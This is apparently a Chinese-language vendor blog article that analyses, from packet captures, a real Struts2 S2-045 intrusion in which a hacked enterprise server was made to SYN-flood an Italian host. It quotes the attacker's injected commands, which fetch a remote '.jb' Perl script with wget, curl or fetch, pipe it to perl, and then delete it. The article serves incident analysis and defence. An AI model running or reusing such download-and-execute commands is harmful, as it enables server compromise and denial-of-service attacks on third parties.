從數據包視角解析新型Struts2漏洞攻擊全過程
萬年漏洞王 Struts2作為世界上最流行的 Java Web 服務器框架之一,已經被炒得沸沸揚揚,其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在遠程代碼執行漏洞,攻擊者可以在使用該插件上傳文件時,修改 HTTP 請求頭中的 Content-Type 值來觸發該漏洞,導致遠程執行代碼。
新的漏洞出現,必然會存在漏洞利用的情況,如果在沒有升級和打補丁的情況下已被攻擊,即使漏洞得到修復仍有潛在風險,那么如何判斷是否已經被攻擊了呢?本文通過數據包視角,基于網絡回溯分析技術,針對最近新型Struts2漏洞攻擊行為典型事件進行深層解析,打破傳統思維模式,提供解決未知問題的新思路。
1. 問題描述
科來針對本次struts2漏洞為用戶進行網絡安全分析服務,在與某中國500強企業集團公司安全運維人員溝通時了解到該企業互聯網出口防火墻CPU利用率持續保持在80%左右,而且涌現出關于內部服務器*.35大量告警日志,防火墻高負載工作導致服務器網絡緩慢。由于該服務器上承載著大量公司核心業務,造成了嚴重影響。
通過在該集團公司內網的核心交換機上的網絡回溯分析系,進行7*24小時全流量監控(其工作模式可以簡單理解為部署在大型網絡環境中的“行車記錄儀”),并通過該系統還原事件發生過程,回溯分析可疑流量數據。
2. 分析過程
防火墻高負載與*.35服務器有關,所以重點回溯分析*.35地址。問題服務器*.35一天多的時間共產生未知TCP應用流量47.48G,其中與意大利IP 62.149.175.81通訊流量達到44.21GB,行為極為可疑。
回溯分析*.35與意大利IP會話通訊。兩者之間通訊流量平穩(達6Mbps左右),任取一段時間,可以看到*.35與62.149.175.81:8080每條TCP會話客戶端數據包數、服務器數據包數一致,狀態均顯示連接被重置,平均包長71字節,綜合這些特征,懷疑*.35發動SYN Flood攻擊。
如下,*.35 向62.149.175.81發送SYN,后者快速回復RST的數據包,時間差不足1ms,推測為出口防火墻阻斷保護(因為后者位于意大利,所以后者真是返回RST數據包時間差應大于50ms),*.35發出的SYN數量極多同時頻率極高現象,基本斷定*.35發動了SYN Flood攻擊。
小結:由于*.35發動了SYN Flood攻擊,極高頻率地發送了大量的SYN包,防火墻對每個SYN包都需要進行處理,嚴重消耗了出口防火墻性能,影響了正常業務通訊。
為了更深入找到*.35發動SYN Flood的原因,提取了該服務器發動攻擊前的流量深入分析。
香港IP 223.255.145.158嘗試利用Struts2漏洞攻擊(在Content-type: 中插入非法字符串來遠程執行命令并嘗試執行該腳本,執行完成后刪除),執行的腳本信息為:
- wget -qO - http://65.254.63.20/.jb | perl ;
- cd /tmp ;
- curl -O http://65.254.63.20/.jb ;
- fetch http://65.254.63.20/.jb ;
- perl .jb ;
- rm -rf .jb*,即問題服務器向65.254.63.20 get請求.jb文件。
進一步分析,我們發現問題服務器*.35確實下載獲取到.jb文件。真實腳本為per1,可以看到62.149.175.81(SYN Flood目標IP)及端口8080。綜合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通過Struts2漏洞攻擊入侵后,執行命令向美國IP 65.254.63.20請求下載了.jb文件,并執行了per1腳本SYN Flood攻擊62.149.175.81.

3. 分析結論
通過以上分析,我們發現本次安全事件是黑客通過Struts2的S2-045漏洞,遠程向問題服務器執行惡意代碼,導致服務器主動下載腳本并成為肉雞實施SYN Flood攻擊,科來立即告知該企業相關工作人員并建議盡快修復其漏洞。
4. 價值
該漏洞影響范圍極廣,涉及Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10多個版本。黑客可以利用該漏洞通過瀏覽器在遠程服務器上執行任意系統命令,將會對受影響站點造成嚴重影響,引發數據泄露、網頁篡改、植入后門、成為肉雞等安全事件。可將版本更新至Struts 2.3.32 或者 Struts 2.5.10.1。
本案例中,我們通過全流量分析判定了入侵者對網絡及服務器的攻擊行為,幫助用戶發現網絡中存在的安全隱患,掌握黑客攻擊的手段,進而快速采取相應的防范措施。
當今企業級客戶的業務系統日趨復雜,同時運行實時性要求越來越高,有效提升用戶的運維主動性和分析處理問題效率已迫在眉睫。通過網絡回溯分析技術可以完整記錄網絡原始流量,提升對異常網絡行為的運行態勢感知能力。
【本文是51CTO專欄作者“”李少鵬“”的原創文章,轉載請通過安全牛(微信公眾號id:gooann-sectv)獲取授權】